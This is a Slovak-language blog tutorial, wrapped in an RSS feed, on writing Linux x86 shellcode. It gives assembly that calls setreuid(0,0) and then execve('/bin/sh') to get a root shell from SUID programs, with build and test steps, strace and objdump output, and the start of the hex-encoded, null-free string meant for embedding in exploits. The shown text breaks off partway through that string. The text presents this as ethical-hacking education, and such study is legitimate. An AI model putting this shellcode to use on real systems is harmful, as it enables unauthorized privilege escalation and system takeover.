<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bloog.sk &#187; Shellkód</title>
	<atom:link href="http://www.bloog.sk/category/programovanie/assembler-a-cracking/shell-kod/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bloog.sk</link>
	<description>recenzie a kvalitné informácie z digitálneho sveta</description>
	<lastBuildDate>Sun, 26 Jun 2011 20:30:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Základy linuxového shellkódu</title>
		<link>http://www.bloog.sk/2009/09/17/zaklady-linuxoveho-shellkodu/</link>
		<comments>http://www.bloog.sk/2009/09/17/zaklady-linuxoveho-shellkodu/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 19:45:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Shellkód]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=261</guid>
		<description><![CDATA[Základné informácie o shellkóde a jeho zneužití. Ponúkam ukážky v assembleri a jazyku C.]]></description>
			<content:encoded><![CDATA[<p>Po prečítaní tohto článku budete schopný napísať svoj vlastný shellkód.</p>
<p>Výrazom shellkód sa označuje sebestačný kus binárneho kódu, ktorý vykoná nejakú úlohu. Úlohou môže byť čokoľvek, od spustenia systémového príkazu až na poskytnutie shellu útočníkovi (čo pôvodne bývala jediná úloha shellkódu, odtiaľ názov shell kód). Shellkód sa dá napísať v zásade troma rôznymi spôsobmi:</p>
<ul>
<li>Priamym zápisom kódov inštrukcií.</li>
<li>Napísaním programu v nejakom vyššom jazyku (napríklad C), prekladom a následným disassemblování (<a href="http://www.bloog.sk/category/assembler-a-cracking/disassembling/">viď článok</a>), ktorým dostanete kódy inštrukcií.</li>
<li>Napísaním programu v assembleri, jeho prekladom a prečítaním kódov inštrukcií z výsledného programu.</li>
</ul>
<p>Priame písanie kódov inštrukcií je trochu extrémny šport &#8211; my začneme písaním shellkódu pomocou C, ale rýchlo sa presunieme k assembleru. Tak ako tak budete musieť rozumieť nízkoúrovňovým funkciám pre čítanie, zápis a spúšťanie. Tieto funkcie poskytuje jadro, takže sa najprv v stručnosti pozrieme na komunikáciu medzi užívateľskými procesy a jadrom.</p>
<h3>Systémové volania</h3>
<p>Operačný systém slúži ako vrstva medzi používateľom (procesy) a hardvérom. Pre komunikáciu s operačným systémom slúžia tri základné nástroje:</p>
<ul>
<li>Hardvérové prerušenia, napríklad asynchrónny signál z klávesnice.</li>
<li>Hardwarové pasce, napríklad pokus o delenie nulou.</li>
<li>Softvérové pasce, napríklad požiadavka na spustenie procesu.</li>
</ul>
<p>Softvérové pasce sú pre etický hacking najdôležitejšie, pretože procesu umožňujú podľa potreby komunikovať s jadrom. Jadro užívateľovi poskytuje abstraktné rozhranie k základným funkciám systému, toto rozhranie sa skladá z takzvaných systémových volaní. Zoznam systémových volaní Linuxu a ich čísel nájdete v súbore <em>/usr/include/asm/unistd:</em></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#ifndef _ASM_I386_UNISTD_H_</span>
<span style="color: #339933;">#define _ASM_I386_UNISTD_H_</span>
<span style="color: #808080; font-style: italic;">/*
 *  This file contains  the  system call  numbers.
 */</span>
<span style="color: #339933;">#define __NR_restart_syscall      0</span>
<span style="color: #339933;">#define __NR_exit		  1</span>
<span style="color: #339933;">#define __NR_fork		  2</span>
<span style="color: #339933;">#define __NR_read		  3</span>
<span style="color: #339933;">#define __NR_write		  4</span>
<span style="color: #339933;">#define __NR_open		  5</span>
<span style="color: #339933;">#define __NR_close		  6</span>
<span style="color: #339933;">#define __NR_waitpid		  7</span>
<span style="color: #339933;">#define __NR_creat		  8</span>
<span style="color: #339933;">#define __NR_link		  9</span>
<span style="color: #339933;">#define __NR_unlink		 10</span>
<span style="color: #339933;">#define __NR_execve		 11</span>
<span style="color: #339933;">#define __NR_chdir		 12</span>
<span style="color: #339933;">#define __NR_time		 13</span>
<span style="color: #339933;">#define __NR_mknod		 14</span>
<span style="color: #339933;">#define __NR_chmod		 15</span>
<span style="color: #339933;">#define __NR_lchown		 16</span>
<span style="color: #339933;">#define __NR_break		 17</span>
<span style="color: #339933;">#define __NR_oldstat		 18</span>
<span style="color: #339933;">#define __NR_lseek		 19</span>
<span style="color: #339933;">#define __NR_getpid		 20</span>
<span style="color: #339933;">#define __NR_mount		 21</span>
<span style="color: #339933;">#define __NR_umount		 22</span>
<span style="color: #339933;">#define __NR_setuid		 23</span>
<span style="color: #339933;">#define __NR_getuid		 24</span>
<span style="color: #339933;">#define __NR_stime		 25</span>
<span style="color: #808080; font-style: italic;">/* atd. atd. */</span>
<span style="color: #339933;">#define __NR_setreuid		 70</span>
<span style="color: #808080; font-style: italic;">/* atd. atd. */</span>
<span style="color: #339933;">#define __NR_socketcall		102</span></pre></div></div>

<p>V ďalšej časti sa pozrieme, ako sa systémové volania používajú; začneme v C.</p>
<h4>Systémové volania v C</h4>
<p>V jazyku C sa systémové volania používajú ľahko, pretože sú obalené knižničným funkciami &#8211; stačí zavolať knižničnú funkciu a odovzdať jej vhodný počet parametrov. Signatúry funkcií najľahšie nájdete pomocou príkazu <em>man</em> &#8211; keby vás zaujímalo povedzme volanie <em>execve</em>, zadali by ste:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #007800;">$man</span> <span style="color: #000000;">2</span> execve</pre></div></div>

<p>Tento príkaz zobrazí nasledujúce stránku:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">EXECVE(2)                              Linux Programmer's Manuál       EXECVE(2)
NAME
                    execve - execute program
SYNOPSIS
                    #include 
                    int execve (const char *filename, char *const argv [], char *const envp[])
...</pre></div></div>

<p>V ďalšom texte si ukážeme, ako sa systémové volania dajú použiť priamo z assembleru.</p>
<h4>Systémové volania v assembleri</h4>
<p>Pri volaní systémových funkcií z assembleru musíte ručne naplniť registre. Do registra EAX sa ukladá číslo systémového volania (pozri výpis súboru unistd.h vyššie) a do registrov EBX, ECX, EDX, ESI a EDI postupne prvý až piaty parameter systémového volania. Ak je parametrov menej, príslušné registre nastavovať nemusíte. Keď je parametrov viac ako päť, musíte do pamäti uložiť ako pole, ktorého adresu potom odovzdáte v registri EBX.</p>
<p>Akonáhle sú registre nastavené, príkazom</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span></pre></div></div>

<p>vyvoláte softvérové prerušenie, jadro preruší svoju aktuálnu činnosť a začne spracovávať vašu požiadavku. Najprv si skontroluje správnosť parametrov, potom hodnoty registrov skopíruje do adresového priestoru jadra a podľa tabuľky prerušení (IDT: Interrupt Descriptor Table) prerušenie obslúži.</p>
<p>Celý proces najlepšie pochopíte na príklade, viď nasledujúci text.</p>
<h3>Systémové volanie exit</h3>
<p>Prvé systémové volanie, na ktoré sa pozrieme, jednoducho ukončí program. Má číslo 1 (pozri výpis súboru unistd.h vyššie), volá sa <em>exit</em> a v jazyku C mu zodpovedá funkcia <em>exit</em>. Má jediný parameter, ktorým je návratová hodnota programu. Keďže ide o náš prvý pokus so systémovými volaniami, začneme v C.</p>
<p>Systémové volania exit (0) v C zavoláte takto:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> exit.c</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
main <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Schválne si program skúste preložiť. Pri preklade pridajte parameter -static, aby bolo súčasťou výsledného programu aj telo funkcie exit:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">gcc</span> <span style="color: #660033;">-static</span> <span style="color: #660033;">-o</span> <span style="color: #7a0874; font-weight: bold;">exit</span> exit.c</pre></div></div>

<p>Teraz si spustite gdb (parameter -q zapína tichý režim, v ktorom gdb nevypisuje úvodné texty), nastavte breakpoint na funkciu <em>main</em>, príkazom r spustite program a príkazom <em>disass _exit</em> si nechajte disassemblerovať funkciu <em>_exit</em>:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gdb exit  -q
(gdb)   b main
Breakpoint  1 at  0x80481d6
(gdb)   r
Starting program: /root/clanok/exit
Breakpoint 1, 0x080481d6 in main ()
(gdb) disass _exit
Dump of assembler code for function exit:
0x804c56c &lt;_exit&gt;	mov	0x4(%esp,1),%ebx
0x804c570 &lt;_exit+4&gt;	mov	$0xfc,%eax
0x804c575 &lt;_exit+9&gt;	int	$0x80
0x804c577 &lt;_exit+11&gt;	mov	$0x1,%eax
0x804c57c &lt;_exit+16&gt;	int	$0x80
0x804c57e &lt;_exit+18&gt;	hlt</pre></div></div>

<p>Ako vidíte, funkcia začína načítaním prvého parametra (v našom prípade nula) do registra EBX. Na riadku označenom ako _exit+11 sa do registra EAX uloží číslo systémového volania (0&#215;1) a potom dôjde k prerušeniu (<em>int $0&#215;80</em>). Všimnite si, že prekladač sám od seba pridal ešte volania funkcie <em>exit_group</em> (systémové volanie čísla Oxfc resp. 252) &#8211; ta funguje uplně rovnako ako <em>exit</em>, ale ukončí všetky vlákna v aktuálnej skupine. Toto volanie navyše pridali ľudia, ktorí pre našu konkrétnu linuxovou distribúciu balili libc. Vo väčšine prípadov sa hodí, ale my si v shellkóde nadbytočné volania funkcií dovoliť nemôžeme, a tak sa budete musieť naučiť písať shellkód priamo v assembleri <img src='http://www.bloog.sk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<h4>Prechod k assembleru</h4>
<p>Jemný pohľad na vyššie uvedený koci funkcie exit prezradí, že nejde o žiadnu čiernu mágiu. To isté by ste pomocou assembleru ľahko dokázali urobiť sami:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> exit.asm</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">section <span style="color: #339933;">.</span>text <span style="color: #666666; font-style: italic;">; zacina kod programu</span>
global _start
_start<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; označením začiatku si ušetríme problémy s linkerom</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span><span style="color: #666666; font-style: italic;">; bezpečná skratka pre vynulovanie registra EAX (pozri text)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ebx</span><span style="color: #666666; font-style: italic;">; bezpečná skratka pre vynulovanie registra EBX</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0x01</span><span style="color: #666666; font-style: italic;">; keď pracujeme len s jedným bajtom, vyhneme</span>
    <span style="color: #666666; font-style: italic;">; sa zarovnaniu na plných 32 bitov registra EAX (pozri text)</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span><span style="color: #666666; font-style: italic;">; volanie jadra</span></pre></div></div>

<p>Volanie funkcie <em>exit_group</em> sme vynechali, pretože nie je potreba. Použitím príkazu <em>xor</em> na jeden a ten istý register sa obsah registra vynuluje. To je praktickejšie ako príkaz typu <em>mov ax, </em> pretože ten by do výsledného binárneho kódu vložil znak null, a náš shellkód by potom po uložení do reťazca končil predčasne. Z rovnakého dôvodu sa vyhýbame príkazu <em>mov eax, 0&#215;01</em>, pretože ten by hodnotu uloženú do registra automaticky zarovnal na veľkosť registra, výsledný hexadecimálny kód by bol <em>b8 01 00 00 00</em>, a reťazec so shellkódom by opäť skončil predčasne. Keď použijeme najnižšiu jednobajtovú časť registra EAX tak nedôjde k zarovnaniu čísla na štyri bajty.</p>
<h4>Preklad, zostavenie a testovanie</h4>
<p>Zostáva dať všetko dohromady. Zdrojový kód v assembleri môžeme preložiť pomocou NASM, zostaviť pomocou ld a konečne spustiť:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">nasm</span> <span style="color: #660033;">-f</span> elf exit.asm
$ <span style="color: #c20cb9; font-weight: bold;">ld</span> exit.o <span style="color: #660033;">-o</span> <span style="color: #7a0874; font-weight: bold;">exit</span>
$ .<span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">exit</span></pre></div></div>

<p>Moc sa toho nestalo, pretože sme jednoducho zavolali exit(0) a program ukončili. Našťastie máme ešte jednu možnosť, ako zistiť, čo presne sa v programe deje.</p>
<h4>Sledovanie pomocou strace</h4>
<p>Ak potrebujete overiť, aké systémové volania program volá, pomôže vám program strace:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">strace</span> .<span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">exit</span>
execve <span style="color: #7a0874; font-weight: bold;">&#40;</span>.<span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">exit</span>, <span style="color: #7a0874; font-weight: bold;">&#91;</span>.<span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">exit</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>, <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">/*</span> <span style="color: #000000;">26</span> vars <span style="color: #000000; font-weight: bold;">*/</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = <span style="color: #000000;">0</span>
_exit <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = ?</pre></div></div>

<p>Ako vidíte, program skutočne vykonal systémové volanie _exit(0). Skúsme teraz nejaké iné systémové volanie.</p>
<h3>Systémové volanie setreuid</h3>
<p>Cieľom nášho simulovaného útoku bude často nejaký SUID program. Dobre napísané SUID programy ale k väčším právam siahajú len vtedy, keď ich potrebujú &#8211; preto je často potrebné prepnúť na vyššie práva ručne. K tomu sa dá použiť systémové vo <em>setreuid</em>, ktoré dokáže obnoviť alebo nastaviť skutočné a efektívne oprávnenia procesu.</p>
<h4>Parametre volania setreuid</h4>
<p>Systémove volanie <em>setreuid</em> má číslo 70 (0&#215;46, pozri súbor <em>unistd.h</em> vyššie) a dva parametre. Prvý parameter (register EBX) je skutočné ID používateľa resp RUID (real user ID), v našom prípade nula (root). Druhý parameter, ktorý sa ukladá do registra ECX, je efektívne ID užívateľa resp EUID, ktoré je v našom prípade opäť nulové.</p>
<h4>Volanie z assembleru</h4>
<p>Systémové volanie <em>setreuid(0,0)</em> vykoná nasledujúci kód v assembleri:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> setreuid.asm</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">section<span style="color: #339933;">.</span> text<span style="color: #666666; font-style: italic;">; začiatok oddielu s kódom</span>
global _start<span style="color: #666666; font-style: italic;">; deklarácia globálneho návestia</span>
_start<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; aby linker nemusel hádať a nesťažoval si</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span><span style="color: #666666; font-style: italic;">; vynulovať register EAX, aby sme ho mohli v ďalšom</span>
  <span style="color: #666666; font-style: italic;">; riadku nastaviť</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0x46</span><span style="color: #666666; font-style: italic;">; nastaviť spodný bajt EAX na číslo volania (0x46 = 70)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ebx</span><span style="color: #666666; font-style: italic;">; vynulovať register EBX</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span><span style="color: #666666; font-style: italic;">; vynulovať register ECX</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span><span style="color: #666666; font-style: italic;">; zavolať systém</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0x01</span><span style="color: #666666; font-style: italic;">; nastaviť číslo volania na jedna (exit)</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span><span style="color: #666666; font-style: italic;">; zavolať systém</span></pre></div></div>

<p>Ako vidíte, jednoducho naplníme registre a zavoláme int 0&#215;80. Program opäť končí volaním exit(0), ktoré je tentoraz o niečo jednoduchšie, pretože register EBX už obsahuje nulu.</p>
<h4>Preklad, zostavenie a testovanie</h4>
<p>Zdrojový kód ako zvyčajne preložte pomocou NASM, zostavte pomocou ld a spustite:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">nasm</span> <span style="color: #660033;">-f</span> elf setreuid.asm
$ <span style="color: #c20cb9; font-weight: bold;">ld</span> <span style="color: #660033;">-o</span> setreuid setreuid.o
$ .<span style="color: #000000; font-weight: bold;">/</span>setreuid</pre></div></div>

<h4>Overovanie pomocou strace</h4>
<p>Navonok toho opäť moc nespoznáte, pomôže vám strace:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">strace</span> .<span style="color: #000000; font-weight: bold;">/</span>setreuid
execve<span style="color: #7a0874; font-weight: bold;">&#40;</span>.<span style="color: #000000; font-weight: bold;">/</span>setreuid, <span style="color: #7a0874; font-weight: bold;">&#91;</span>.<span style="color: #000000; font-weight: bold;">/</span>setreuid<span style="color: #7a0874; font-weight: bold;">&#93;</span>, <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">/*</span> <span style="color: #000000;">26</span> vars <span style="color: #000000; font-weight: bold;">*/</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = <span style="color: #000000;">0</span>
setreuid<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">0</span>, <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = <span style="color: #000000;">0</span>
_exit <span style="color: #7a0874; font-weight: bold;">&#40;</span>O<span style="color: #7a0874; font-weight: bold;">&#41;</span> = ?</pre></div></div>

<p>Presne ako sme čakali!</p>
<h3>Spustenie shellu pomocou execve</h3>
<p>Programy sa dajú v Linuxe spustiť niekoľkými rôznymi spôsobmi, jedným z najčastejších je systémové volanie <em>execve</em>. My si pomocou tohto volania skúsime spustiť program <em>/bin/sh</em>.</p>
<h4>Systémové volanie execve</h4>
<p>Podľa man stránky by spustenie programu <em>/bin/sh</em> funkciou <em>execve</em> vyzeralo približne takto:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span><span style="color: #339933;">*</span> shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// pomocné pole na dva reťazce</span>
shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// prvy prvok poľa nastavíme na &quot;/bin/sh&quot;</span>
shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> NULL<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// druhý prvok nastavíme na NULL</span>
execve<span style="color: #009900;">&#40;</span>shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> shell<span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// zavoláme execve</span></pre></div></div>

<p>V assembleri by volanie execve vyzeralo nasledovne:</p>
<ul>
<li>EAX = OXB čiže 11. Technicky vzaté musíte na 0xb nastaviť AL, inak by zase došlo k zarovnanie čísla nulami.</li>
<li>EBX = adresa reťazca <em>/bin/sh</em> uloženého niekde v pamäti.</li>
<li>ECX = adresa poľa reťazcov, ktoré začína predchádzajúcim <em>/bin/sh</em> a končí na null.</li>
<li>EDX = jednoducho 0&#215;0, pretože tretí parameter môže byť null.</li>
</ul>
<p>Jediným problémom je zostavenie reťazca <em>/bin/sh</em> a práca s jeho adresou. My použijeme chytrý trik a reťazec zostavíme z dvoch kusov na zásobníku, takže adresu potrebnú pre parametre volania potom odvodíme z adresy zásobníka.</p>
<h4>Volanie z assembleru</h4>
<p>Nasledujúci assemblerový program najprv zavolá <em>setreuid(0,0)</em> a potom <em>execve /bin/sh</em>:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> sc2.asm</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">section <span style="color: #339933;">.</span>text <span style="color: #666666; font-style: italic;">; začiatok oddielu s kódom</span>
global _start <span style="color: #666666; font-style: italic;">; deklarácie globálneho návestí </span>
_start<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; označovanie kódu návestím je praktický zvyk</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; vynulovanie registra EAX, príprava na ďalší riadok </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0x46</span> <span style="color: #666666; font-style: italic;">; systémové volanie číslo 0x46 alebo 70, jeden bajt</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ebx</span> <span style="color: #666666; font-style: italic;">; vynulovanie registra ebx </span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; vynulovanie registra ecx </span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span> <span style="color: #666666; font-style: italic;">; volanie systému</span>
<span style="color: #666666; font-style: italic;">; spustenie shellu pomocou execve </span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; vynulovanie registra eax </span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; na vrchol zásobníka uložíme NULL </span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0x68732f2f</span> <span style="color: #666666; font-style: italic;">; pridáme reťazec &quot;//sh&quot;, doplnený úvodným lomítkom</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0x6e69622f</span> <span style="color: #666666; font-style: italic;">; a reťazec /bin (všimnite si, že sú oba reťazce odzadu) </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; esp teraz ukazuje na &quot;/bin/sh&quot;, takže ho uložíme do ebx</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; eax je stále nulový, môžeme ním ukončiť char** argv na zásobníku</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ebx</span> <span style="color: #666666; font-style: italic;">; ešte raz adresa &quot;/bin/sh&quot;, máme ju v ebx</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; adresa argv je v esp, uložíme ju do ecx</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; nastavíme edx na nulu (NULL), nie je potreba </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0xb</span> <span style="color: #666666; font-style: italic;">; systémové volanie 0xb = 11, jeden bajt</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span> <span style="color: #666666; font-style: italic;">; volanie systému</span></pre></div></div>

<p>Ako vidíte, reťazec <em>/bin/sh</em> na zásobník skladáme odzadu. Najprv príde ukončovací NULL, potom <em>//sh</em> (reťazec musí mať štyri bajty, aby sa správne zarovnal, a dvojité lomítko nič nepokazí) a nakoniec <em>/bin</em>. V tomto okamihu už máme na zásobníku všetko, čo potrebujeme, takže adresu reťazca nájdeme v ESP. Zvyšok kódu je len nastavenie parametrov volania <em>execve</em> pomocou elegantného využitia zásobníka a hodnôt registrov.</p>
<h4>Preklad, zostavenie a testovanie</h4>
<p>Hotový shellkód si môžete vyskúšať, stačí preložiť pomocou NASM, zostaviť pomocou ld, nastaviť setuid bit a spustiť:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">nasm</span> <span style="color: #660033;">-f</span> elf sc2.asm 
$ <span style="color: #c20cb9; font-weight: bold;">ld</span> <span style="color: #660033;">-o</span> sc2 sc2.o 
$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chown</span> root sc2 
$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chmod</span> +s sc2 
$ .<span style="color: #000000; font-weight: bold;">/</span>sc2 
sh-2.05b<span style="color: #666666; font-style: italic;"># exit</span>
<span style="color: #7a0874; font-weight: bold;">exit</span>
$</pre></div></div>

<p>Hurá! Funguje!</p>
<h4>Ako získať kódy inštrukcií</h4>
<p>Nezabudnite na to, že ak svoj shellkód chceme použiť v rámci exploitu, musíme z neho urobiť reťazec. Šestnástkové kódy inštrukcií dostanete jednoducho pomocou programu objdump, disassemblerovanie sa zapína parametrom -d:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ objdump <span style="color: #660033;">-d</span> .<span style="color: #000000; font-weight: bold;">/</span>sc2
.<span style="color: #000000; font-weight: bold;">/</span>sc2: <span style="color: #c20cb9; font-weight: bold;">file</span> formát elf32-i386</pre></div></div>

<p>Disassemblerovaná sekcia .text:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">08048080 &lt;_start&gt;:		
8048080 31 cO xor %eax, %eax
8048082 bO 46 mov $0x46,%al
; atd</pre></div></div>

<p>Najdôležitejšie je pozrieť sa, či medzi kódmi nie sú znaky null (0&#215;00). Keby sa tam nejaké našli, shellkód by sa nedal priamo použiť ako reťazec do exploitu.</p>
<h4>Testovanie shellkódu</h4>
<p>Aby sme sa uistili, že pre náš shellkód bude skutočne fungovať aj v rámci reťazca, vyrobíme si nasledujúci testovací program. Všimnite si, že sa reťazec so shellkódem dá rozdeliť na samostatné riadky s jednou inštrukciou. Výsledok je oveľa čitateľnejší, takže sa vám tento zvyk oplatí.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ cat sc2.c
char sc[] =  // biele znaky (napríklad konce riadkov) sa nepočítajú
// setreuid(0,0)
&quot;\x31\xc0&quot;      //     xor         %eax,%eax
&quot;\xb0\x46&quot;      //     mov         $0x46,%al
&quot;\x31\xdb&quot;      //     xor         %ebx,%ebx
&quot;\x31\xc9&quot;      //     xor         %ecx,%ecx
&quot;\xcd\x80&quot;      //     int         $0x80
// spustit shell pomocou execve
&quot;\x31\xc0&quot;     //     xor         %eax,%eax
&quot;\x50&quot;           //     push       %eax
&quot;\x68\x2f\x2f\x73\x68&quot;   //     push       $0x68732f2f
&quot;\x68\x2f\x62\x69\x6e&quot;  //     push       $0x6e69622f
